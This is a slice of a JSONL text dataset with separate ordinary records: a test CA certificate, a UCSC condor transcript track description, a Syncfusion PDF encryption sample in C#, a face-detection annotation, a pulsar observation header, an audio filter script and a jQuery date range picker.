CERTIFICATE-----\r\nMIIEajCCAx6gAwIBAgIGAWAB8kgpMEEGCSqGSIb3DQEBCjA0oA8wDQYJYIZIAWUD\r\nBAIBBQChHDAaBgkqhkiG9w0BAQgwDQYJYIZIAWUDBAIBBQCiAwIBIDBjMQ8wDQYD\r\nVQQDDAZQU1MtQ0ExFDASBgNVBAsMC0JvdGFuLVRlc3RzMQ4wDAYDVQQKDAVCb3Rh\r\nbjEPMA0GA1UEBwwGQm9jaHVtMQwwCgYDVQQIDANOUlcxCzAJBgNVBAYTAkRFMCAX\r\nDTk5MTIzMTIzMDAwMFoYDzIwOTkxMjMxMjMwMDAwWjBjMQ8wDQYDVQQDDAZQU1Mt\r\nQ0ExFDASBgNVBAsMC0JvdGFuLVRlc3RzMQ4wDAYDVQQKDAVCb3RhbjEPMA0GA1UE\r\nBwwGQm9jaHVtMQwwCgYDVQQIDANOUlcxCzAJBgNVBAYTAkRFMIIBIjANBgkqhkiG\r\n9w0BAQEFAAOCAQ8AMIIBCgKCAQEAg6QT4bJpuTGy2+eG1h4O22XQwCWz2wAmerQd\r\nxK1oFeXzfOUR0cnpGBDvhIzprK7Ino0SKuV9WBDCw8wQakx45Y1YNoQJ7Y816B1d\r\ncu2IsRX5T+CwAC5awJIMOYKN+izb7ad5ZvOBKZbr0I0kTut7ZtKJS67IUH/RqxXY\r\nKsOLOkTtpiTKGMLMUPOjFgbhVxzn8z9p8zgwNbrSXlUVazsov3JfB6xVQRu6wNSw\r\ni1K9c3NmJPD+jN+F2Ga1Y1bhEI2GJUBsulg5nfJ9y+p5Xez8OsqM3vMZ9ukhl0l9\r\nUwHxebwzRKL/yad3iXiPAV7a2tluZs2WgnlHlTTMSVBDTgzVgQIDAQABo4G5MIG2\r\nMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MIGSBgNVHSMEgYowgYeA\r\nFDb1lDgJxpP73FY8su+YiBZJsZ9coWekZTBjMQ8wDQYDVQQDDAZQU1MtQ0ExFDAS\r\nBgNVBAsMC0JvdGFuLVRlc3RzMQ4wDAYDVQQKDAVCb3RhbjEPMA0GA1UEBwwGQm9j\r\naHVtMQwwCgYDVQQIDANOUlcxCzAJBgNVBAYTAkRFggYBYAHySCkwQQYJKoZIhvcN\r\nAQEKMDSgDzANBglghkgBZQMEAgEFAKEcMBoGCSqGSIb3DQEBCDANBglghkgBZQME\r\nAgEFAKIDAgEgA4IBAQAj45MXBTbkT7M07h+EFBnjCTZ7SriCw3nhZAjSqK35EjGH\r\nl66YRr/oaqgyWaL67TBDNG0yUtW42chOXmbvgwryvKganUjJsOmaYqOng1V4C6N2\r\n2ld+pMvQSLG1q6O1lfJLKRMKfbEuwoza8CiBXqzrKFA1LIc8RgWQ83pyGSsdK6yq\r\nfpExGBDk8tZI5pVLiSfINcqStr+tSt8egrkD4O437li0paALfL719jVjH3vL6L+T\r\ndZ89ty1Pv30bvipPe0SUGtiUiNEvdR+ia8WJtjKq18mKwklPH/DmhS5IuNawwoo5\r\nXXNV7igmlyKvO+yoa67HNw1w0d4tRCEQJnM38zuV\r\n-----END CERTIFICATE-----\r\n"} +{"text": "

    Description

    \n

    \nThis track displays the alignment of California Condor (Gymnogyps \ncalifornianus) transcripts (sequenced using 454 high-throughput DNA \nsequencing) to the chicken genome.\n

    \n\n

    Methods

    \n
      \n
    • The Condor read sequences were obtained from the NCBI \n \n Trace Archives: \n CENTER_NAME=WUGSC, CENTER_PROJECT=U_FC-MATT_TECHD2. The mean read size \n is 110 bases.\n
    • The Condor reads were aligned to a set of predicted transcript \n sequences, then the read was projected to transcript alignments on the \n genome using the predicted transcript alignments. This process improves\n alignments across splice sites.\n
        \n
      • Build a set of predicted transcripts sequences using PASA cluster \n of chicken mRNA and EST BLAT alignments and N-SCAN gene predictions.\n
      • Align Condor reads to transcripts using LASTZ.\n
      • Project alignments onto the chicken genome.\n
      • Filter alignments to remove duplicate alignments and small \n fragments, keeping those that score within one percent of the \n best alignment for a given read.\n
      \n
    • Align reads that could not be mapped via the predicted transcript \n directly to the chicken genome using LASTZ, and filter using the above \n criteria.\n
    \n\n

    After performing the above steps, the resulting number of sequences and \nalignments of those sequences are summarized in this table:
    \n\n \n \n \n \n \n
      sequences  alignments
      454 reads 419,240
      projected 139,392 146,325
      direct 87,870 89,812
      combined 227,262 236,137
    \n\n

    Credits

    \n
      \n
    • Sample collection and analysis was done by Michael Romanov and Oliver\n Ryder of the San Diego Zoo's Institute for Conservation Research and\n Elaina Tuttle and Rusty Gonser of the Dept. of Biology, Indiana State \n University.\n
    • 454 sequencing and analysis was done by\n Matthew T Hickenbotham, Jarret Glasscock, Sean McGrath and Elaine R Mardis:\n
      \n    Washington University Genome Sequencing Center\n    Washington University School of Medicine\n    Campus Box 8501\n    4444 Forest Park Ave.\n    St. Louis, MO 63108\n    
      \n
    • PASA clusters and N-SCAN gene predictions were provided by Jeltje \n van Baren of the Brent Lab at Washington University Saint Louis.\n
    • Alignments and tracks were produced by Mark Diekhans of the UCSC Genome\n Bioinformatics group.\n
    \n\n

    References

    \n\n

    454 Sequencing:

    \n

    \nMargulies M, Egholm M, Altman WE, Attiya S, Bader JS, Bemben LA, Berka J, Braverman MS, Chen YJ,\nChen Z et al.\n\nGenome sequencing in microfabricated high-density picolitre reactors.\nNature. 2005 Sep 15;437(7057):376-80.\nPMID: 16056220; PMC: PMC1464427\n

    \n\n

    BLASTZ/LASTZ:

    \n

    \nChiaromonte F, Yap VB, Miller W.\nScoring pairwise genomic sequence alignments.\nPac Symp Biocomput. 2002:115-26.\nPMID: 11928468\n

    \n\n

    Condor Sequencing:

    \n

    \nRomanov MN, Tuttle EM, Houck ML, Modi WS, Chemnick LG, Korody ML, Mork EM, Otten CA, Renner T, Jones\nKC et al.\nThe value of avian genomics to the conservation of wildlife.\nBMC Genomics. 2009 Jul 14;10 Suppl 2:S10.\nPMID: 19607652; PMC: PMC2966331\n

    \n\n

    N-SCAN:

    \n

    \nGross SS, Brent MR.\n\nUsing multiple alignments to improve gene prediction.\nJ Comput Biol. 2006 Mar;13(2):379-93.\nPMID: 16597247\n

    \n\n

    PASA:

    \n

    \nHaas BJ, Delcher AL, Mount SM, Wortman JR, Smith RK Jr, Hannick LI, Maiti R, Ronning CM,\nRusch DB, Town CD et al.\n\nImproving the Arabidopsis genome annotation using maximal transcript \nalignment assemblies.\nNucleic Acids Res. 2003 Oct 1;31(19):5654-66.\nPMID: 14500829; PMC: PMC206470\n

    \n"} +{"text": "#region Copyright Syncfusion Inc. 2001-2020.\n// Copyright Syncfusion Inc. 2001-2020. All rights reserved.\n// Use of this code is subject to the terms of our license.\n// A copy of the current license can be obtained at any time by e-mailing\n// licensing@syncfusion.com. Any infringement will be prosecuted under\n// applicable laws. \n#endregion\nusing SampleBrowser.Core;\nusing Syncfusion.Drawing;\nusing Syncfusion.Pdf;\nusing Syncfusion.Pdf.Graphics;\nusing Syncfusion.Pdf.Interactive;\nusing Syncfusion.Pdf.Parsing;\nusing Syncfusion.Pdf.Security;\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Reflection;\nusing System.Text;\nusing System.Threading.Tasks;\n\nusing Xamarin.Forms;\n\nnamespace SampleBrowser.PDF\n\n{\n public partial class Encryption : SampleView\n {\n public Encryption()\n {\n InitializeComponent(); \n this.keysize.Items.Add(\"128 Bit\");\n this.keysize.Items.Add(\"256 Bit\");\n this.keysize.Items.Add(\"256 Revision 6\");\n\n this.Algorithms.Items.Add(\"RC4\");\n this.Algorithms.Items.Add(\"AES\");\n\n this.Options.Items.Add(\"Encrypt all contents\");\n this.Options.Items.Add(\"Encrypt all contents except metadata\");\n this.Options.Items.Add(\"Encrypt only attachments\");\n\n this.keysize.SelectedIndex = 1;\n this.Algorithms.SelectedIndex = 1;\n this.Options.SelectedIndex = 0;\n\n if (Device.Idiom != TargetIdiom.Phone && Device.RuntimePlatform == Device.UWP)\n {\n this.Description.HorizontalOptions = LayoutOptions.Start;\n this.btnGenerate.HorizontalOptions = LayoutOptions.Start;\n this.btnGenerate.BackgroundColor = Xamarin.Forms.Color.Gray;\n }\n else if (Device.Idiom == TargetIdiom.Phone && Device.RuntimePlatform == Device.UWP)\n { \n this.Description.FontSize = 13.5; \n this.Description.VerticalOptions = LayoutOptions.Center;\n this.btnGenerate.VerticalOptions = LayoutOptions.Center;\n }\n\n }\n\n public void OnButtonClicked(object sender, EventArgs e)\n {\n //Create new PDF document.\n PdfDocument document = new PdfDocument();\n\n //Add page to the PDF document.\n PdfPage page = document.Pages.Add();\n\n PdfGraphics graphics = page.Graphics;\n\n //Create font object.\n PdfStandardFont font = new PdfStandardFont(PdfFontFamily.TimesRoman, 14f, PdfFontStyle.Bold);\n PdfBrush brush = PdfBrushes.Black;\n PdfForm form = document.Form;\n\n //Document security\n PdfSecurity security = document.Security;\n\n if (this.Algorithms.Items[this.Algorithms.SelectedIndex] == \"AES\")\n {\n security.Algorithm = PdfEncryptionAlgorithm.AES;\n if (this.keysize.SelectedIndex == 0)\n {\n security.KeySize = PdfEncryptionKeySize.Key128Bit;\n }\n else if (this.keysize.SelectedIndex == 1)\n {\n security.KeySize = PdfEncryptionKeySize.Key256Bit;\n }\n else if (this.keysize.SelectedIndex == 2)\n {\n security.KeySize = PdfEncryptionKeySize.Key256BitRevision6;\n }\n }\n else if(this.Algorithms.Items[this.Algorithms.SelectedIndex] == \"RC4\")\n {\n security.Algorithm = PdfEncryptionAlgorithm.RC4;\n if (this.keysize.SelectedIndex == 0)\n {\n security.KeySize = PdfEncryptionKeySize.Key40Bit;\n \n }\n else if (this.keysize.SelectedIndex == 1)\n {\n security.KeySize = PdfEncryptionKeySize.Key128Bit;\n }\n }\n\n if (this.Options.Items[this.Options.SelectedIndex] == \"Encrypt all contents\")\n {\n security.EncryptionOptions = PdfEncryptionOptions.EncryptAllContents;\n }\n else if (this.Options.Items[this.Options.SelectedIndex] == \"Encrypt all contents except metadata\")\n {\n security.EncryptionOptions = PdfEncryptionOptions.EncryptAllContentsExceptMetadata;\n }\n else if (this.Options.Items[this.Options.SelectedIndex] == \"Encrypt only attachments\")\n {\n //Read the file\n#if COMMONSB\n Stream file = typeof(Encryption).GetTypeInfo().Assembly.GetManifestResourceStream(\"SampleBrowser.Samples.PDF.Samples.Assets.Products.xml\");\n#else\n Stream file = typeof(Encryption).GetTypeInfo().Assembly.GetManifestResourceStream(\"SampleBrowser.PDF.Samples.Assets.Products.xml\");\n#endif\n\n //Creates an attachment\n PdfAttachment attachment = new PdfAttachment(\"Products.xml\", file);\n\n attachment.ModificationDate = DateTime.Now;\n\n attachment.Description = \"About Syncfusion\";\n\n attachment.MimeType = \"application/txt\";\n\n //Adds the attachment to the document\n document.Attachments.Add(attachment);\n\n security.EncryptionOptions = PdfEncryptionOptions.EncryptOnlyAttachments;\n }\n\n security.OwnerPassword = \"syncfusion\";\n security.Permissions = PdfPermissionsFlags.Print | PdfPermissionsFlags.FullQualityPrint;\n security.UserPassword = \"password\";\n\n string text = \"Security options:\\n\\n\" + String.Format(\"KeySize: {0}\\n\\nEncryption Algorithm: {4}\\n\\nOwner Password: {1}\\n\\nPermissions: {2}\\n\\n\" +\n \"UserPassword: {3}\", security.KeySize, security.OwnerPassword, security.Permissions, security.UserPassword, security.Algorithm);\n if (this.Algorithms.SelectedIndex == 1) \n {\n if(this.keysize.SelectedIndex == 2)\n text += String.Format(\"\\n\\nRevision: {0}\", \"Revision 6\");\n else if (this.keysize.SelectedIndex == 1)\n text += String.Format(\"\\n\\nRevision: {0}\", \"Revision 5\");\n }\n \n graphics.DrawString(\"Document is Encrypted with following settings\", font, brush, PointF.Empty);\n font = new PdfStandardFont(PdfFontFamily.TimesRoman, 11f, PdfFontStyle.Bold);\n graphics.DrawString(text, font, brush, new PointF(0, 40));\n\n MemoryStream stream = new MemoryStream();\n //Save the PDF document.\n document.Save(stream);\n\n if (Device.RuntimePlatform == Device.UWP)\n Xamarin.Forms.DependencyService.Get().Save(\"Secured.pdf\", \"application/pdf\", stream);\n else\n Xamarin.Forms.DependencyService.Get().Save(\"Secured.pdf\", \"application/pdf\", stream);\n }\n void OnItemSelected(object sender, EventArgs e)\n {\n this.Options.SelectedIndex = 0;\n if (this.Algorithms.SelectedIndex == 0)\n {\n this.keysize.Items.Clear();\n this.keysize.Items.Add(\"40 Bit\");\n this.keysize.Items.Add(\"128 Bit\");\n this.keysize.SelectedIndex = 0;\n this.Options.IsEnabled = false;\n }\n else if (this.Algorithms.SelectedIndex == 1)\n {\n this.keysize.Items.Clear();\n this.keysize.Items.Add(\"128 Bit\");\n this.keysize.Items.Add(\"256 Bit\");\n this.keysize.Items.Add(\"256 Revision 6\");\n this.keysize.SelectedIndex = 0;\n this.Options.IsEnabled = true;\n }\n }\n void OnOptionSelected(object sender, EventArgs e)\n {\n\n if (this.Options.SelectedIndex == 2)\n {\n this.OwnerPassword.IsVisible = false;\n }\n else\n {\n this.OwnerPassword.IsVisible = true;\n }\n }\n }\n}\n"} +{"text": "\nwiderface\n12--Group_12_Group_Large_Group_12_Group_Large_Group_12_903.jpg\n\nwider face Database\nPASCAL VOC2007\nflickr\n-1\n\n\nyanyu\nyanyu\n\n\n1024\n683\n3\n\n0\n\nface\nUnspecified\n1\n0\n\n986\n60\n999\n75\n\n\n990.781\n68.938\n995.402\n68.527\n993.451\n72.326\n990.679\n73.763\n994.888\n73.353\n1\n0.36\n\n1\n\n\nface\nUnspecified\n1\n0\n\n642\n89\n656\n111\n\n\n650.906\n95.763\n651.46\n95.763\n654.504\n100.884\n648.692\n105.036\n649.107\n105.036\n1\n0.35\n\n1\n\n\nface\nUnspecified\n1\n0\n\n455\n13\n473\n38\n\n\n461.268\n24.357\n468.5\n24.196\n464.964\n29.5\n461.75\n32.071\n468.179\n32.232\n0\n0.5\n\n1\n\n"} +{"text": " Data file name without suffix = 1937_DM71.02_zerodm\n Telescope used = GBT\n Instrument used = GUPPI\n Object being observed = 1937+21\n J2000 Right Ascension (hh:mm:ss.ssss) = 19:39:38.5920\n J2000 Declination (dd:mm:ss.ssss) = 21:35:00.2400\n Data observed by = Maura McLaughlin\n Epoch of observation (MJD) = 55267.436250000000001\n Barycentered? (1=yes, 0=no) = 0\n Number of bins in the time series = 471040 \n Width of each time series bin (sec) = 8.192e-05\n Any breaks in the data? (1=yes, 0=no) = 0\n Type of observation (EM band) = Radio\n Beam diameter (arcsec) = 905\n Dispersion measure (cm-3 pc) = 71.02\n Central freq of low channel (Mhz) = 720.830078125\n Total bandwidth (Mhz) = 200\n Number of channels = 128\n Channel bandwidth (Mhz) = 1.5625\n Data analyzed by = sransom\n Any additional notes:\n Project ID AGBT10A_022_01, Date: 2010-03-12T10:28:12.000.\n 2 polns were summed. Samples have 8 bits.\n\n\n"} +{"text": "#!/usr/bin/env python\n\nfrom ATK.Core import DoubleInPointerFilter, DoubleOutPointerFilter\nfrom ATK.Tools import DoubleOversampling6points5order_32Filter, DoubleOversampling6points5order_16Filter, DoubleOversampling6points5order_8Filter, DoubleOversampling6points5order_4Filter, DoubleDecimationFilter\nfrom ATK.EQ import DoubleButterworthLowPassFilter\nfrom ATK.Preamplifier import DoubleTransistorClassAFilter\n\ndef filter_32(input):\n import numpy as np\n output = np.zeros(input.shape, dtype=np.float64)\n\n infilter = DoubleInPointerFilter(input, False)\n infilter.set_input_sampling_rate(48000)\n overfilter = DoubleOversampling6points5order_32Filter()\n overfilter.set_input_sampling_rate(48000)\n overfilter.set_output_sampling_rate(48000 * 32)\n overfilter.set_input_port(0, infilter, 0)\n overdrivefilter = DoubleTransistorClassAFilter.build_standard_filter()\n overdrivefilter.set_input_sampling_rate(48000 * 32)\n overdrivefilter.set_input_port(0, overfilter, 0)\n lowpassfilter = DoubleButterworthLowPassFilter()\n lowpassfilter.set_input_sampling_rate(48000 * 32)\n lowpassfilter.set_cut_frequency(48000)\n lowpassfilter.set_order(5)\n lowpassfilter.set_input_port(0, overdrivefilter, 0)\n decimationfilter = DoubleDecimationFilter(1)\n decimationfilter.set_input_sampling_rate(48000 * 32)\n decimationfilter.set_output_sampling_rate(48000)\n decimationfilter.set_input_port(0, lowpassfilter, 0)\n outfilter = DoubleOutPointerFilter(output, False)\n outfilter.set_input_sampling_rate(48000)\n outfilter.set_input_port(0, decimationfilter, 0)\n outfilter.process(input.shape[1])\n return output\n\ndef filter_16(input):\n import numpy as np\n output = np.zeros(input.shape, dtype=np.float64)\n\n infilter = DoubleInPointerFilter(input, False)\n infilter.set_input_sampling_rate(48000)\n overfilter = DoubleOversampling6points5order_16Filter()\n overfilter.set_input_sampling_rate(48000)\n overfilter.set_output_sampling_rate(48000 * 16)\n overfilter.set_input_port(0, infilter, 0)\n overdrivefilter = DoubleTransistorClassAFilter.build_standard_filter()\n overdrivefilter.set_input_sampling_rate(48000 * 16)\n overdrivefilter.set_input_port(0, overfilter, 0)\n lowpassfilter = DoubleButterworthLowPassFilter()\n lowpassfilter.set_input_sampling_rate(48000 * 16)\n lowpassfilter.set_cut_frequency(48000)\n lowpassfilter.set_order(5)\n lowpassfilter.set_input_port(0, overdrivefilter, 0)\n decimationfilter = DoubleDecimationFilter(1)\n decimationfilter.set_input_sampling_rate(48000 * 16)\n decimationfilter.set_output_sampling_rate(48000)\n decimationfilter.set_input_port(0, lowpassfilter, 0)\n outfilter = DoubleOutPointerFilter(output, False)\n outfilter.set_input_sampling_rate(48000)\n outfilter.set_input_port(0, decimationfilter, 0)\n outfilter.process(input.shape[1])\n return output\n\ndef filter_8(input):\n import numpy as np\n output = np.zeros(input.shape, dtype=np.float64)\n\n infilter = DoubleInPointerFilter(input, False)\n infilter.set_input_sampling_rate(48000)\n overfilter = DoubleOversampling6points5order_8Filter()\n overfilter.set_input_sampling_rate(48000)\n overfilter.set_output_sampling_rate(48000 * 8)\n overfilter.set_input_port(0, infilter, 0)\n overdrivefilter = DoubleTransistorClassAFilter.build_standard_filter()\n overdrivefilter.set_input_sampling_rate(48000 * 8)\n overdrivefilter.set_input_port(0, overfilter, 0)\n lowpassfilter = DoubleButterworthLowPassFilter()\n lowpassfilter.set_input_sampling_rate(48000 * 8)\n lowpassfilter.set_cut_frequency(48000)\n lowpassfilter.set_order(5)\n lowpassfilter.set_input_port(0, overdrivefilter, 0)\n decimationfilter = DoubleDecimationFilter(1)\n decimationfilter.set_input_sampling_rate(48000 * 8)\n decimationfilter.set_output_sampling_rate(48000)\n decimationfilter.set_input_port(0, lowpassfilter, 0)\n outfilter = DoubleOutPointerFilter(output, False)\n outfilter.set_input_sampling_rate(48000)\n outfilter.set_input_port(0, decimationfilter, 0)\n outfilter.process(input.shape[1])\n return output\n\ndef filter_4(input):\n import numpy as np\n output = np.zeros(input.shape, dtype=np.float64)\n\n infilter = DoubleInPointerFilter(input, False)\n infilter.set_input_sampling_rate(48000)\n overfilter = DoubleOversampling6points5order_4Filter()\n overfilter.set_input_sampling_rate(48000)\n overfilter.set_output_sampling_rate(48000 * 4)\n overfilter.set_input_port(0, infilter, 0)\n overdrivefilter = DoubleTransistorClassAFilter.build_standard_filter()\n overdrivefilter.set_input_sampling_rate(48000 * 4)\n overdrivefilter.set_input_port(0, overfilter, 0)\n lowpassfilter = DoubleButterworthLowPassFilter()\n lowpassfilter.set_input_sampling_rate(48000 * 4)\n lowpassfilter.set_cut_frequency(48000)\n lowpassfilter.set_order(5)\n lowpassfilter.set_input_port(0, overdrivefilter, 0)\n decimationfilter = DoubleDecimationFilter(1)\n decimationfilter.set_input_sampling_rate(48000 * 4)\n decimationfilter.set_output_sampling_rate(48000)\n decimationfilter.set_input_port(0, lowpassfilter, 0)\n outfilter = DoubleOutPointerFilter(output, False)\n outfilter.set_input_sampling_rate(48000)\n outfilter.set_input_port(0, decimationfilter, 0)\n outfilter.process(input.shape[1])\n return output\n\nif __name__ == \"__main__\":\n import numpy as np\n size = 1200\n \n x = np.arange(size).reshape(1, -1) / 48000.\n d = np.sin(x * 2 * np.pi * 100) * .05\n d.tofile(\"input2.dat\")\n out = filter_32(d)\n out.tofile(\"output32_tca.dat\")\n out = filter_16(d)\n out.tofile(\"output16_tca.dat\")\n out = filter_8(d)\n out.tofile(\"output8_tca.dat\")\n out = filter_4(d)\n out.tofile(\"output4_tca.dat\")\n\n import matplotlib.pyplot as plt\n plt.plot(x[0], d[0], label=\"input\")\n plt.plot(x[0], out[0], label=\"output\")\n plt.legend()\n plt.show()\n\n"} +{"text": "/**\n* @version: 1.3.4\n* @author: Dan Grossman http://www.dangrossman.info/\n* @date: 2014-03-19\n* @copyright: Copyright (c) 2012-2014 Dan Grossman. All rights reserved.\n* @license: Licensed under Apache License v2.0. See http://www.apache.org/licenses/LICENSE-2.0\n* @website: http://www.improvely.com/\n*/\n!function ($, moment) {\n\n var DateRangePicker = function (element, options, cb) {\n\n // by default, the daterangepicker element is placed at the bottom of HTML body\n this.parentEl = 'body';\n\n //element that triggered the date range picker\n this.element = $(element);\n\n //create the picker HTML object\n /*var DRPTemplate = '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '' +\n '' +\n '
    ' +\n '
    ' +\n '' +\n '' +\n '
    ' +\n ' ' +\n '' +\n '
    ' +\n '
    ' +\n '
    ';*/\n \n var DRPTemplate = '
    ' +\n '
    ' +\n '
    ' +\n '
    ' +\n '' +\n '' +\n '
    ' +\n '
    ' +\n '' +\n '' +\n '
    ' +\n '  ' +\n '' +\n '
    ' +\n '
    ' +\n '
    '+\n '
    ' +\n '
    ' +\n '
    ';\n\n //custom options\n if (typeof options !== 'object' || options === null)\n options = {};\n\n this.parentEl = (typeof options === 'object' && options.parentEl && $(options.parentEl).length) || $(this.parentEl);\n this.container = $(DRPTemplate).appendTo(this.parentEl);\n\n this.setOptions(options, cb);\n\n //apply CSS classes and labels to buttons\n var c = this.container;\n $.each(this.buttonClasses, function (idx, val) {\n c.find('button').addClass(val);\n });\n this.container.find('.daterangepicker_start_input label').html(this.locale.fromLabel);\n this.container.find('.daterangepicker_end_input label').html(this.locale.toLabel);\n if (this.applyClass.length)\n this.container.find('.applyBtn').addClass(this.applyClass);\n if (this.cancelClass.length)\n this.container.find('.cancelBtn').addClass(this.cancelClass);\n this.container.find('.applyBtn').html(this.locale.applyLabel);\n this.container.find('.cancelBtn').html(this.locale.cancelLabel);\n\n //event listeners\n\n this.container.find('.calendar')\n .on('click.daterangepicker', '.prev', $.proxy(this.clickPrev, this))\n .on('click.daterangepicker', '.next', $.proxy(this.clickNext, this))\n .on('click.daterangepicker', 'td.available', $.proxy(this.clickDate, this))\n .on('mouseenter.daterangepicker', 'td.available', $.proxy(this.enterDate, this))\n .on('mouseleave.daterangepicker', 'td.available', $.proxy(this.updateFormInputs, this))\n .on('change.daterangepicker', 'select.yearselect', $.proxy(this.updateMonthYear, this))\n .on('change.daterangepicker', 'select.monthselect', $.proxy(this.updateMonthYear, this))\n .on('change.daterangepicker', 'select.hourselect,select.minuteselect,select.ampmselect', $.proxy(this.updateTime, this));\n\n this.container.find('.ranges')\n .on('click.daterangepicker', 'button.applyBtn', $.proxy(this.clickApply, this))\n .on('click.daterangepicker', 'button.cancelBtn', $.proxy(this.clickCancel, this))\n .on('click.daterangepicker', '.daterangepicker_start_input,.daterangepicker_end_input', $.proxy(this.showCalendars, this))\n .on('click.daterangepicker', 'li', $.proxy(this.clickRange, this))\n .on('mouseenter.daterangepicker', 'li', $.proxy(this.enterRange, this))\n .on('mouseleave.daterangepicker', 'li', $.proxy(this.updateFormInputs, this));\n\n if (this.element.is('input')) {\n this.element.on({\n 'click.daterangepicker': $.proxy(this.show, this),\n 'focus.daterangepicker': $.proxy(this.show, this),\n 'keyup.daterangepicker': $.proxy(this.updateFromControl, this)\n });\n } else {\n this.element.on('click.daterangepicker', $.proxy(this.toggle, this));\n }\n\n };\n\n DateRangePicker.prototype = {\n\n constructor: DateRangePicker,\n\n setOptions: function(options, callback) {\n\n this.startDate = moment().startOf('day');\n this.endDate = moment().endOf('day');\n this.minDate = false;\n this.maxDate = false;\n this.dateLimit = false;\n\n this.showDropdowns = false;\n this.showWeekNumbers = false;\n this.timePicker = false;\n this.timePickerIncrement = 30;\n this.timePicker12Hour = true;\n this.singleDatePicker = false;\n this.ranges = {};\n\n this.opens = 'right';\n if (this.element.hasClass('pull-right'))\n this.opens = 'left';\n\n this.buttonClasses = ['btn', 'btn-small'];\n this.applyClass = 'btn-success';\n this.cancelClass = 'btn-default';\n\n this.format = 'YYYY/MM/DD';\n this.separator = ' - ';\n\n this.locale = {\n applyLabel: '确认',\n cancelLabel: '取消',\n fromLabel: '起始',\n toLabel: '结束',\n weekLabel: '周',\n customRangeLabel: 'Custom Range',\n daysOfWeek: ['日', '一', '二', '三', '四', '五','六'],//moment()._lang._weekdaysMin.slice(),\n monthNames: ['1月', '2月', '3月', '4月', '5月', '6月', '7月', '8月', '9月', '10月', '11月', '12月'],//moment()._lang._monthsShort.slice(),\n firstDay: 0\n };\n\n this.cb = function () { };\n\n if (typeof options.format === 'string')\n this.format = options.format;\n\n if (typeof options.separator === 'string')\n this.separator = options.separator;\n\n if (typeof options.startDate === 'string')\n this.startDate = moment(options.startDate, this.format);\n\n if (typeof options.endDate === 'string')\n this.endDate = moment(options.endDate, this.format);\n\n if (typeof options.minDate === 'string')\n this.minDate = moment(options.minDate, this.format);\n\n if (typeof options.maxDate === 'string')\n this.maxDate = moment(options.maxDate, this.format);\n\n if (typeof options.startDate === 'object')\n this.startDate = moment(options.startDate);\n\n if (typeof options.endDate === 'object')\n this.endDate = moment(options.endDate);\n\n if (typeof options.minDate === 'object')\n this.minDate = moment(options.minDate);\n\n if (typeof options.maxDate === 'object')\n this.maxDate = moment(options.maxDate);\n\n if (typeof options.applyClass === 'string')\n this.applyClass = options.applyClass;\n\n if (typeof options.cancelClass === 'string')\n this.cancelClass = options.cancelClass;\n\n if (typeof options.dateLimit === 'object')\n this.dateLimit = options.dateLimit;\n\n // update day names order to firstDay\n if (typeof options.locale === 'object') {\n\n if (typeof options.locale.daysOfWeek === 'object') {\n // Create a copy of daysOfWeek to avoid modification of original\n // options object for reusability in multiple daterangepicker instances\n this.locale.daysOfWeek = options.locale.daysOfWeek.slice();\n }\n\n if (typeof options.locale.monthNames === 'object') {\n this.locale.monthNames = options.locale.monthNames.slice();\n }\n\n if (typeof options.locale.firstDay === 'number') {\n this.locale.firstDay = options.locale.firstDay;\n var iterator = options.locale.firstDay;\n while (iterator > 0) {\n this.locale.daysOfWeek.push(this.locale.daysOfWeek.shift());\n iterator--;\n }\n }\n\n if (typeof options.locale.applyLabel === 'string') {\n this.locale.applyLabel = options.locale.applyLabel;\n }\n\n if (typeof options.locale.cancelLabel === 'string') {\n this.locale.cancelLabel = options.locale.cancelLabel;\n }\n\n if (typeof options.locale.fromLabel === 'string') {\n this.locale.fromLabel = options.locale.fromLabel;\n }\n\n if (typeof options.locale.toLabel === 'string') {\n this.locale.toLabel = options.locale.toLabel;\n }\n\n if (typeof options.locale.weekLabel === 'string') {\n this.locale.weekLabel = options.locale.weekLabel;\n }\n\n if (typeof options.locale.customRangeLabel === 'string') {\n this.locale.customRangeLabel = options.locale.customRangeLabel;\n }\n }\n\n if (typeof options.opens === 'string')\n this.opens = options.opens;\n\n if (typeof options.showWeekNumbers === 'boolean') {\n this.showWeekNumbers = options.showWeekNumbers;\n }\n\n if (typeof options.buttonClasses === 'string') {\n this.buttonClasses = [options.buttonClasses];\n }\n\n if (typeof options.buttonClasses === 'object') {\n this.buttonClasses = options.buttonClasses;\n }\n\n if (typeof options.showDropdowns === 'boolean') {\n this.showDropdowns = options.showDropdowns;\n }\n\n if (typeof options.singleDatePicker === 'boolean') {\n this.singleDatePicker = options.singleDatePicker;\n }\n\n if (typeof options.timePicker === 'boolean') {\n this.timePicker = options.timePicker;\n }\n\n if (typeof options.timePickerIncrement === 'number') {\n this.timePickerIncrement = options.timePickerIncrement;\n }\n\n if (typeof options.timePicker12Hour === 'boolean') {\n this.timePicker12Hour = options.timePicker12Hour;\n }\n\n var start, end, range;\n\n //if no start/end dates set, check if an input element contains initial values\n if (typeof options.startDate === 'undefined' && typeof options.endDate === 'undefined') {\n if ($(this.element).is('input[type=text]')) {\n var val = $(this.element).val();\n var split = val.split(this.separator);\n start = end = null;\n if (split.length == 2) {\n start = moment(split[0], this.format);\n end = moment(split[1], this.format);\n } else if (this.singleDatePicker) {\n start = moment(val, this.format);\n end = moment(val, this.format);\n }\n if (start !== null && end !== null) {\n this.startDate = start;\n this.endDate = end;\n }\n }\n }\n\n if (typeof options.ranges === 'object') {\n for (range in options.ranges) {\n\n start = moment(options.ranges[range][0]);\n end = moment(options.ranges[range][1]);\n\n // If we have a min/max date set, bound this range\n // to it, but only if it would otherwise fall\n // outside of the min/max.\n if (this.minDate && start.isBefore(this.minDate))\n start = moment(this.minDate);\n\n if (this.maxDate && end.isAfter(this.maxDate))\n end = moment(this.maxDate);\n\n // If the end of the range is before the minimum (if min is set) OR\n // the start of the range is after the max (also if set) don't display this\n // range option.\n if ((this.minDate && end.isBefore(this.minDate)) || (this.maxDate && start.isAfter(this.maxDate))) {\n continue;\n }\n\n this.ranges[range] = [start, end];\n }\n\n var list = '
      ';\n for (range in this.ranges) {\n list += '
    • ' + range + '
    • ';\n }\n list += '
    • ' + this.locale.customRangeLabel + '
    • ';\n list += '
